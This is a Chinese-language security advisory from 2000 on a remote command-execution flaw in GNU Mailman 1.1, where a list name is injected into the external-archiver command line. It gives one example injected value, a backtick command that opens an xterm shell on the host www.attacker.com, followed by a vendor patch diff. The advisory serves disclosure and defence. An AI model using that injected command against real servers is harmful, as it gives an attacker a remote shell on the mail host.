Mailman 1.1 远程执行命令漏洞
发布日期:2000-09-12
更新日期:2000-09-12
受影响系统:
GNU Mailman 1.1
+ 所有安装了此版本的Unix/Linux系统
不受影响系统:
GNU Mailman 2.0beta5
GNU Mailman 2.0beta4
描述:
Mailman的配置文件中使用的一些变量可以由邮件列表管理员指定。例如在$prefix/Mailman/mm_cfg.py配置文件中
可能有下列配置语句:
PUBLIC_EXTERNAL_ARCHIVER = '(mhonarc -add -nolock -umask 023 -rcfile rc.%(listname)s -outdir /mnt/WWW/htdocs/lists/%(listname)s)'
这里(listname)的值可以被邮件列表的管理员创建,如果,这个值被设置成一些系统命令,当消息被发送到这个列表
时,系统就会执行这些命令,例如,如果listname的值设置成了:
`/usr/X11R6/bin/xterm -display www.attacker.com:0 -e /bin/csh`
攻击者就可以在自己的机器上打开一个mailman主机的xterm窗口。
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
建议:
厂商补丁:
升级到Mailman的最新版本2.0beta4/5,或者安装下面提供的补丁:
-------------------- snip snip --------------------
*** admin.py.bak Mon Mar 13 21:03:53 2000
--- admin.py Mon Mar 13 21:04:51 2000
***************
*** 784,789 ****
--- 784,800 ----
val = cgi_info[property].value
value = GetValidValue(lst, property, kind, val, deps)
if getattr(lst, property) != value:
+ # TBD: Ensure that lst.real_name differs only in letter
+ # case. Otherwise a security hole can potentially be opened
+ # when using an external archiver. This seems ad-hoc and
+ # could use a more general security policy.
+ if property == 'real_name' and \
+ string.lower(value) <> string.lower(lst._internal_name):
+ # then don't install this value.
+ document.AddItem("""<p><b>real_name</b> attribute not
+ changed! It must differ from the list's name by case
+ only.<p>""")
+ continue
setattr(lst, property, value)
dirty = 1
#
-------------------- snip snip --------------------
浏览次数:6644
严重程度:0(网友投票)